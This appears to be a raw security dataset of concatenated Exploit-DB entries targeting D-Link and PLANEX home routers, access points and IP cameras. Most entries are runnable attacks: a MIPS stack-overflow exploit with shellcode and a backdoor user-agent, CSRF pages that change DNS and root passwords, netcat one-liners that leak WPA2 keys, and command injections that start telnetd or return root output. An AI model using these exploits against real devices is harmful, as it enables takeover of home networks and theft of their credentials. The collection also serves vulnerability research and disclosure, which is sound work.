deardaniel/secdata-raw huggingface dataset:
Exploit-DB #38810
Description: D-Link / PLANEX COMMUNICATIONS - 'RuntimeDiagnosticPing()' Remote Stack Buffer Overflow
Type: remote
Platform: hardware
Date: 2013-10-14
Author: Craig Heffner

Exploit:
source: https://www.securityfocus.com/bid/63234/info

Multiple Vendors are prone to a stack-based buffer-overflow vulnerability.

Exploiting this vulnerability may allow attackers to execute arbitrary code in the context of the affected devices.

The following are vulnerable:

D-Link DIR-120
D-Link DI-624S
D-Link DI-524UP
D-Link DI-604S
D-Link DI-604UP
D-Link DI-604
D-Link DIR-100
D-Link TM-G5240
PLANEX COMMUNICATIONS BRL-04UR
PLANEX COMMUNICATIONS BRL-04R
PLANEX COMMUNICATIONS BRL-04CW 

import sys
import urllib2

try:
	url = 'http://%s/Tools/tools_misc.xgi?domain=a&set/runtime/diagnostic/pingIp=' % sys.argv[1]
except Exception, e:
	print str(e)
	print 'Usage: %s <target ip>' % sys.argv[0]
	sys.exit(1)

# This is the actual payload; here it is a simple reboot shellcode.
# This payload size is limited to about 200 bytes, otherwise you'll crash elsewhere in /bin/webs.
payload  = "\x3c\x06\x43\x21" # lui     a2,0x4321
payload += "\x34\xc6\xfe\xdc" # ori     a2,a2,0xfedc
payload += "\x3c\x05\x28\x12" # lui     a1,0x2812
payload += "\x34\xa5\x19\x69" # ori     a1,a1,0x1969
payload += "\x3c\x04\xfe\xe1" # lui     a0,0xfee1
payload += "\x34\x84\xde\xad" # ori     a0,a0,0xdead
payload += "\x24\x02\x0f\xf8" # li      v0,4088
payload += "\x01\x01\x01\x0c" # syscall 0x40404

# The payload is split up; some of it before the return address on the stack, some after.
# This little snippet skips over the return address during execution.
# It assumes that your shellcode will not be using the $fp or $t9 registers.
move_sp_fp = "\x03\xa0\xf0\x21" # move $fp, $sp
jump_code =  "\x27\xd9\x02\xd4" # addiu $t9, $fp, 724
jump_code += "\x03\x21\xf8\x08" # jr $t9
jump_code += "\x27\xE0\xFE\xFE" # addiu $zero, $ra, -0x102

# Stitch together the payload chunk(s) and jump_code snippet
shellcode_p1 = move_sp_fp + payload[0:68] + jump_code + "DD"
if len(shellcode_p1) < 86:
	shellcode_p1 += "D" * (86 - len(shellcode_p1))
	shellcode_p2 = ""
else:
	shellcode_p2 = "DD" + payload[68:]

# Build the overflow buffer, with the return address and shellcode
# libc.so base address and ROP gadget offset for the DIR-100, revA, v1.13
# libc_base = 0x2aaee000
# ret_offset = 0x3243C
buf = shellcode_p1 + "\x2A\xB2\x04\x3C" + shellcode_p2

# Normally only admins can access the tools_misc.xgi page; use the backdoor user-agent to bypass authentication
req = urllib2.Request(url+buf, headers={'User-Agent' : 'xmlset_roodkcableoj28840ybtide'})
urllib2.urlopen(req)
Exploit-DB #24226
Description: D-Link AirPlus DI-614+ / DI-624 / DI-704 - DHCP Log HTML Injection
Type: remote
Platform: hardware
Date: 2004-06-21
Author: c3rb3r

Exploit:
source: https://www.securityfocus.com/bid/10587/info

It is reported that the DI-614+, DI-704, and the DI-624 are susceptible to an HTML injection vulnerability in their DHCP log.

An attacker who has access to the wireless, or internal network segments of the router can craft malicious DHCP hostnames, that when sent to the router, will be logged for later viewing by the administrator of the device.

The injected HTML can be used to cause the administrator to make unintended changes to the configuration of the router. Other attacks may be possible.

Although only the DI-614+, DI-704, and the DI-624 are reported vulnerable, code reuse across devices is common and other products may also be affected.

By sending four requests, all containing hostnames like the following, a complete HTML tag would be rendered, instructing the browser to request the 'restore.cgi' file.
<iframe id='
' height=0 id='
' width=0 id='
' src='restore.cgi'>
Exploit-DB #27923
Description: D-Link Airspot DSA-3100 Gateway - 'Login_error.SHTML' Cross-Site Scripting
Type: remote
Platform: hardware
Date: 2006-05-30
Author: Jaime Blasco

Exploit:
source: https://www.securityfocus.com/bid/18168/info

The D-Link Airspot DSA-3100 Gateway device is prone to a cross-site scripting vulnerability. This issue is due to a failure to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/login_error .shtml?uname=%3CBODY%20ONLOAD =alert(&#039;www.eazel.es&#039;)%3E
Exploit-DB #36767
Description: D-Link DAP-1150 1.2.94 - Cross-Site Request Forgery
Type: remote
Platform: hardware
Date: 2012-02-13
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/51985/info

D-Link DAP-1150 is prone to a cross-site request-forgery vulnerability.

Exploiting this issue may allow a remote attacker to perform certain administrative actions and gain unauthorized access to the affected device. Other attacks are also possible.

D-Link DAP-1150 firmware version 1.2.94 is vulnerable; other versions may also be affected. 

<html>
<head>
<title>Exploit for D-Link DAP 1150. Made by MustLive.
http://websecurity.com.ua</title>
</head>
<body onLoad="StartCSRF()">
<script>
function StartCSRF() {
for (var i=1;i<=3;i++) {
var ifr = document.createElement("iframe");
ifr.setAttribute(&#039;name&#039;, &#039;csrf&#039;+i);
ifr.setAttribute(&#039;width&#039;, &#039;0&#039;);
ifr.setAttribute(&#039;height&#039;, &#039;0&#039;);
document.body.appendChild(ifr);
}
CSRF1();
setTimeout(CSRF2,1000);
setTimeout(CSRF3,2000);
}
function CSRF1() {
window.frames["csrf3"].document.body.innerHTML = &#039;<form name="hack"
action="http://www.example.com/index.cgi"; method="get">\n<input type="hidden"
name="v2" value="y">\n<input type="hidden" name="rq" value="y">\n<input
type="hidden" name="res_json" value="y">\n<input type="hidden"
name="res_data_type" value="json">\n<input type="hidden"
name="res_config_action" value="3">\n<input type="hidden"
name="res_config_id" value="7">\n<input type="hidden" name="res_struct_size"
value="0">\n<input type="hidden" name="res_buf"
value="{%22manual%22:true,%20%22ifname%22:%22%22,%20%22servers%22:%2250.50.50.50%22,%20%22defroute%22:true}">\n</form>&#039;;
window.frames["csrf3"].document.hack.submit();
}
function CSRF2() {
window.frames["csrf4"].document.body.innerHTML = &#039;<form name="hack"
action="http://www.example.com/index.cgi"; method="get">\n<input type="hidden"
name="res_cmd" value="20">\n<input type="hidden" name="res_buf"
value="null">\n<input type="hidden" name="res_cmd_type" value="bl">\n<input
type="hidden" name="v2" value="y">\n<input type="hidden" name="rq"
value="y">\n</form>&#039;;
window.frames["csrf4"].document.hack.submit();
}
function CSRF3() {
window.frames["csrf2"].document.body.innerHTML = &#039;<form name="hack"
action="http://www.example.com/index.cgi"; method="get">\n<input type="hidden"
name="v2" value="y">\n<input type="hidden" name="rq" value="y">\n<input
type="hidden" name="res_config_action" value="3">\n<input type="hidden"
name="res_config_id" value="69">\n<input type="hidden"
name="res_struct_size" value="1">\n<input type="hidden" name="res_buf"
value="password|">\n</form>&#039;;
window.frames["csrf2"].document.hack.submit();
}
</script>
</body>
</html>
Exploit-DB #34208
Description: D-Link DAP-1160 Wireless Access Point - DCC Protocol Security Bypass
Type: remote
Platform: hardware
Date: 2010-06-28
Author: Cristofaro Mune

Exploit:
source: https://www.securityfocus.com/bid/41187/info

The D-Link DAP-1160 wireless access point (WAP) is prone to a security-bypass vulnerability.

Remote attackers can exploit this issue to bypass security restrictions, access certain administrative functions, alter configuration, or trigger a denial-of-service condition.

D-Link DAP-1160 running firmware v120b06, v130b10, and v131b01 are vulnerable. 

python -c 'print "\x05" + "\x00" * 7' | nc -u <IP_ADDR> 2003

python -c 'print "\x03" + "\x00" * 7 + "\x21\x27\x00"' | nc -o ssid.txt -u <IP_ADDR> 2003
cat ssid.txt
(cleartext SSID displayed after "21 27 xx xx" in the received datagram)

python -c 'print "\x03" + "\x00" * 7 + "\x23\x27\x00\x00\x24\x27\x00"' | nc -u -o pass.txt <IP_ADDR> 2003
cat pass.txt
(cleartext WPA2 PSK displayed after "24 27 xx xx" in the received datagram)
Exploit-DB #36877
Description: D-Link DCS - 'security.cgi' Cross-Site Request Forgery
Type: remote
Platform: hardware
Date: 2012-02-23
Author: Rigan Iimrigan

Exploit:
source: https://www.securityfocus.com/bid/52134/info

The D-Link DCS-900, DCS-2000, and DCS-5300 are prone to a cross-site request-forgery vulnerability.

Successful exploits may allow attackers to run privileged commands on the affected device, change configuration, cause denial-of-service conditions, or inject arbitrary script code. Other attacks are also possible.

This issue affects D-Link DCS-900, DCS-2000, and DCS-5300. 

<html>
<body onload="javascript:document.forms[0].submit()">
<form method="POST" name="form0" action="http://www.example.com/setup/security.cgi">
<input type="hidden" name="rootpass" value="your_pass"/>
<input type="hidden" name="confirm" value="your_pass"/>
</form>
</body>
</html>
Exploit-DB #425
Description: D-Link DCS-900 Camera - Remote IP Address Changer
Type: remote
Platform: hardware
Date: 2004-08-31
Author: anonymous

Exploit:
/*
  dlinkdown.c - miscname.com

  change ip address on all dlink dcs-900 cameras on the local network without authentication

  dlink dcs-900 ip cameras use a broadcast/listen method of configuration ...
  rather than a static ip addr out of the box, it listens for a 62976/udp broadcast packet
  telling it what ip addr to set itself too

  http://www.dlink.com.au/Default.aspx?ArticleID=109

  rtfs and mod the ip address to set all listening cameras too (default is 10.0.50.50)
*/

#include <libnet.h>
#include <stdio.h>
#include <stdlib.h>

int main (int argc, char *argv[]) {

	libnet_t *p;
	libnet_ptag_t ip, udp, ipoptions, ether;
	u_long srcip, dstip;
	u_short srcport = 62976, dstport = 62976, x;
	signed int ret;
	char errbuff[LIBNET_ERRBUF_SIZE], ipopt[21];
	int len;
	int8_t *macdst = "ff:ff:ff:ff:ff:ff";
	u_int8_t *macdest;
	char payload[128] = 	"\xfd\xfd\x00\x04\x00\x03\x00\x0f\x3d\x56\x97\x07"
				"\x0a\x00\x32\x32" /* ip address to set too */
				"\x00\x00\xff\xff\xff\x00\x00\x00\x00\x00";
	u_short payloadlen = strlen(payload);

	srcip = libnet_get_ipaddr4(p); /* mod to spoof */
	dstip = libnet_name2addr4(p,"255.255.255.255",LIBNET_DONT_RESOLVE); /* 255.255.255.255 */
	udp = ip = ether = ipoptions = 0;

	if ( (macdest = libnet_hex_aton(macdst,&len)) == NULL) {
		fprintf(stderr,"cant get mac str - %s",libnet_geterror(p));
		exit (1);
	}

	if ( (p = libnet_init (LIBNET_LINK, NULL, errbuff)) == NULL) {
		fprintf(stderr,"cant init() - %s\n",errbuff);
		exit (1);
	}

	if ( (udp = libnet_build_udp(srcport,dstport,LIBNET_UDP_H + payloadlen,0,payload,payloadlen,p,udp)) == -1) {
		fprintf(stderr,"cant build udp - %s\n",libnet_geterror(p));
		exit (1);
	}

	for (x=0;x<20;x++) {
		ipopt[x] = libnet_get_prand(LIBNET_PR2);
	}

	ipoptions = libnet_build_ipv4_options (ipopt,20,p,ipoptions);

	if ( (ip = libnet_build_ipv4 (LIBNET_IPV4_H + 20 + payloadlen + LIBNET_UDP_H,0,250,0,128,IPPROTO_UDP,
0,srcip,dstip,payload,payloadlen,p,ip)) == -1) {
		fprintf(stderr,"cant build ipv4 - %s\n",libnet_geterror(p));
		exit (1);
	}

	if ((ether = libnet_build_ethernet (macdest,macdest,ETHERTYPE_IP,NULL,0,p,ether)) == -1) {
		fprintf(stderr,"cant build ether - %s",libnet_geterror(p));
		exit (1);
	}

	//libnet_diag_dump_pblock(p);

	if ( (ret = libnet_write(p)) == -1) {
		fprintf(stderr,"%s\n",libnet_geterror(p));
	}
	
	free(macdest); /* hex_aton malloc's - see libnet doco */
	libnet_destroy(p);

	return 0;
}

// milw0rm.com [2004-08-31]
Exploit-DB #32336
Description: D-Link DIR-100 1.12 - Security Bypass
Type: remote
Platform: hardware
Date: 2008-09-08
Author: Marc Ruef

Exploit:
source: https://www.securityfocus.com/bid/31050/info

D-Link DIR-100 is affected by a vulnerability that allows attackers to bypass security restrictions and access sites that are blocked by an administrator.

D-Link DIR-100 devices with firmware 1.12 are vulnerable; other versions may be affected as well. 

http://www.example.com/?foo=aaa(...)
Exploit-DB #34986
Description: D-Link DIR-300 - Multiple Security Bypass Vulnerabilities
Type: remote
Platform: hardware
Date: 2010-11-09
Author: Karol Celia

Exploit:
source: https://www.securityfocus.com/bid/44743/info

The D-Link DIR-300 wireless router is prone to multiple security-bypass vulnerabilities.

Remote attackers can exploit these issues to bypass security restrictions, access certain administrative functions, alter configuration, and compromise the affected device.

D-Link DIR-300 running firmware 2.01B1, 1.04, 1.05 are vulnerable. Additional models and firmware versions may also be affected. 

POST http://www.example.com:80/tools_admin.php HTTP/1.1
Host: www.example.com
Keep-Alive: 115
Content-Type: application/x-www-form-urlencoded
Content-length: 0

ACTION_POST=LOGIN&LOGIN_USER=a&LOGIN_[CREDENTIAL_REDACTED]=+Log+In+&NO_NEED_AUTH=1&AUTH_GROUP=0&admin_name=admin&admin_password1=uhOHahEh


http://www.example.com/bsc_lan.php?NO_NEED_AUTH=1&AUTH_GROUP=0
Exploit-DB #35014
Description: D-Link DIR-300 - WiFi Key Security Bypass
Type: remote
Platform: hardware
Date: 2010-11-24
Author: Gaurav Saha

Exploit:
source: https://www.securityfocus.com/bid/45038/info

The D-Link DIR-300 wireless router is prone to a security-bypass vulnerability.

Remote attackers can exploit this issue to modify the WiFi key and possibly other configuration settings. Successful exploits will lead to other attacks. 

POST http://www.example.com/bsc_wlan.php HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml
Accept-Charset: ISO-8859-1,utf-8
Keep-Alive: 115
Proxy-Connection: keep-alive

Content-Type: application/x-www-form-urlencoded
Content-Length: 1000

ACTION_POST=final&f_enable=1&f_wps_enable=1&f_ssid=KingGeorgeV&f_channel=6&f_auto_channel=0&f_super_g=&f_xr=&f_txrate=0&f_wmm_enable=0&f_ap_hidden=0&f_authentication=7&f_cipher=2&f_wep_len=&f_wep_format=&f_wep_def_key=&f_wep=&f_wpa_psk_type=1&f_wpa_psk=
<<the_wifi_password_here>>&f_radius_ip1=&f_radius_port1=&f_radius_secret1=
Exploit-DB #38724
Description: D-Link DIR-601 - Command Injection
Type: remote
Platform: hardware
Date: 2015-11-16
Author: Samuel Huntley

Exploit:
## Advisory Information

Title: DIR-601 Command injection in ping functionality 
Vendors contacted: William Brown <william.brown@dlink.com>, Patrick Cline patrick.cline@dlink.com(Dlink)
CVE: None

Note: All these security issues have been discussed with the vendor and vendor indicated that they have fixed issues as per the email communication. The vendor had also released the information on their security advisory pages http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10060, 
http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10061

However, the vendor has taken now the security advisory pages down and hence the information needs to be publicly accessible so that users using these devices can update the router firmwares. The author (Samuel Huntley) releasing this finding is not responsible for anyone using this information for malicious purposes. 

## Product Description

DIR601 -- Wireless N150 Home Router. Mainly used by home and small offices.

## Vulnerabilities Summary

Have come across 1 security issue in DIR601 firmware which allows an attacker to exploit command injection in ping functionality. The user needs to be logged in. After that any attacker on wireless LAN or if mgmt interface is exposed on Internet then an internet attacker can execute the attack. Also XSRF can be used to trick administrator to exploit it.

## Details

Command injection in dir-601
----------------------------------------------------------------------------------------------------------------------
import socket
import struct

# CMD_INJECTION_INPINGTEST
# Just need user to be logged in and nothing else


buf = "POST /my_cgi.cgi HTTP/1.0\r\n"
buf+="HOST: 192.168.1.8\r\nUser-Agent: test\r\nAccept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nConnection:keep-alive\r\nAccept-Encoding:gzip,deflate,sdch\r\nAccept-Language:en-US,en;q=0.8\r\nContent-Length:101\r\n\r\n"
buf+="request=ping_test&admin3_user_name=admin1;echo admin > /var/passwd1;test&admin4_user_[CREDENTIAL_REDACTED]_type=0"+"\r\n\r\n"
 
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("IP_ADDRESS", 80))
s.send(buf)
----------------------------------------------------------------------------------------------------------------------

## Report Timeline

* April 26, 2015: Vulnerability found by Samuel Huntley and reported to William Brown and Patrick Cline.
* July 17, 2015: Vulnerability was fixed by Dlink as per the email sent by the vendor
* Nov 13, 2015: A public advisory is sent to security mailing lists.

## Credit

This vulnerability was found by Samuel Huntley
Exploit-DB #44473
Description: D-Link DIR-615 Wireless Router - Persistent Cross Site Scripting
Type: remote
Platform: hardware
Date: 2018-04-17
Author: Sayan Chatterjee

Exploit:
######################################################################################
# Exploit Title: D-Link DIR-615 Wireless Router - Persistent Cross Site Scripting (XSS)
# Date: 14.04.2018
# Exploit Author: Sayan Chatterjee
# Vendor Homepage: http://www.dlink.co.in
# Hardware Link: http://www.dlink.co.in/products/?pid=678
# Category: Hardware (Wi-fi Router)
# Hardware Version: T1
# Firmware Version: 20.07
# Tested on: Windows 10
# CVE: CVE-2018-10110
#######################################################################################

Reproduction Steps:
------------------------------
1. Go to your wi-fi router gateway [i.e: http://192.168.0.1]
2. Go to –> “Maintenance” –> “Admin”
3. Create a user with name alert_"HI"
4. Refresh the page and you will be having “HI” popup

#######################################################################################
Exploit-DB #38715
Description: D-Link DIR-815 / DIR-850L - SSDP Command Injection
Type: remote
Platform: hardware
Date: 2015-11-16
Author: Samuel Huntley

Exploit:
## Advisory Information

Title: SSDP command injection using UDP for a lot of Dlink routers including DIR-815, DIR-850L
Vendors contacted: William Brown <william.brown@dlink.com> (Dlink)
Release mode: Released
CVE: None

Note: All these security issues have been discussed with the vendor and vendor indicated that they have fixed issues as per the email communication. The vendor had also released the information on their security advisory pages http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10060, 
http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10061

However, the vendor has taken now the security advisory pages down and hence the information needs to be publicly accessible so that users using these devices can update the router firmwares. The author (Samuel Huntley) releasing this finding is not responsible for anyone using this information for malicious purposes.

## Product Description

Many Dlink routers affected. Tested on DIR-815.

## Vulnerabilities Summary

DIR-815,850L and most of Dlink routers are susceptible to this flaw. This allows to perform command injection using SSDP packets and on UDP. So no authentication required. Just the fact that the attacker needs to be on wireless LAN or be able to fake a request coming from internal wireless LAN using some other mechanism.

## Details

# Command injection
----------------------------------------------------------------------------------------------------------------------
import socket
import struct

# This vulnerability is pretty much in every router that has cgibin and uses SSDP code in that cgibin. This one worked on the device dir-815. Will work only in WLAN


buf = 'M-SEARCH * HTTP/1.1\r\nHOST:239.255.255.250:1900\r\nST:urn:schemas-upnp-org:service:WANIPConnection:1;telnetd -p 9094;ls\r\nMX:2\r\nMAN:"ssdp:discover"\r\n\r\n'

print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("239.255.255.250", 1900))
s.send(buf)
s.close()


----------------------------------------------------------------------------------------------------------------------


## Report Timeline

* Jan 22, 2015: Vulnerability found by Samuel Huntley by William Brown.
* Feb 15, 2015: Vulnerability is patched by Dlink
* Nov 13, 2015: A public advisory is sent to security mailing lists.

## Credit

This vulnerability was found by Samuel Huntley
Exploit-DB #51243
Description: D-Link DIR-846 - Remote Command Execution (RCE) vulnerability
Type: remote
Platform: hardware
Date: 2023-04-05
Author: Françoa Taffarel

Exploit:
# Exploit Title: D-Link DIR-846 - Remote Command Execution (RCE) vulnerability 
# Google Dork: NA
# Date: 30/01/2023
# Exploit Author: Françoa Taffarel
# Vendor Homepage:
https://www.dlink.com.br/produto/roteador-dir-846-gigabit-wi-fi-ac1200/#suportehttps://www.dlink.com.br/wp-content/uploads/2020/02/DIR846enFW100A53DBR-Retail.zip
# Software Link:
https://www.dlink.com.br/wp-content/uploads/2020/02/DIR846enFW100A53DBR-Retail.zip
# Version: DIR846enFW100A53DBR-Retail
# Tested on: D-LINK DIR-846
# CVE : CVE-2022-46552

D-Link DIR-846 Firmware FW100A53DBR was discovered to contain a remote
command execution (RCE) vulnerability via the lan(0)_dhcps_staticlist
parameter. This vulnerability is exploited via a crafted POST request.

### Malicious POST Request
```
POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:107.0) Gecko/20100101
Firefox/107.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
SOAPACTION: "http://purenetworks.com/HNAP1/SetIpMacBindSettings"
HNAP_AUTH: 0107E0F97B1ED75C649A875212467F1E[PII_REDACTED]285
Content-Length: 171
Origin: http://192.168.0.1
Connection: close
Referer: http://192.168.0.1/AdvMacBindIp.html?t=[PII_REDACTED]75
Cookie: PHPSESSID=133b3942febf51641c4bf0d81548ac78; uid=idh0QaG7;
PrivateKey=DBA9B02F550ECD20E7D754A131BE13DF; timeout=4

{"SetIpMacBindSettings":{"lan_unit":"0","lan(0)_dhcps_staticlist":"1,$(id>rce_confirmed),02:42:d6:f9:dc:4e,192.168.0.15"}}
```


### Response

```
HTTP/1.1 200 OK
X-Powered-By: PHP/7.1.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-type: text/html; charset=UTF-8
Connection: close
Date: Thu, 01 Dec 2022 11:03:54 GMT
Server: lighttpd/1.4.35
Content-Length: 68

{"SetIpMacBindSettingsResponse":{"SetIpMacBindSettingsResult":"OK"}}
```


### Data from RCE Request

```
GET /HNAP1/rce_confirmed HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:107.0) Gecko/20100101
Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=133b3942febf51641c4bf0d81548ac78; uid=ljZlHjKV;
PrivateKey=846232FD25AA8BEC8550EF6466B168D9; timeout=1
Upgrade-Insecure-Requests: 1
```


### Response

```
HTTP/1.1 200 OK
Content-Type: application/octet-stream
Accept-Ranges: bytes
Content-Length: 24
Connection: close
Date: Thu, 01 Dec 2022 23:24:28 GMT
Server: lighttpd/1.4.35

uid=0(root) gid=0(root)
```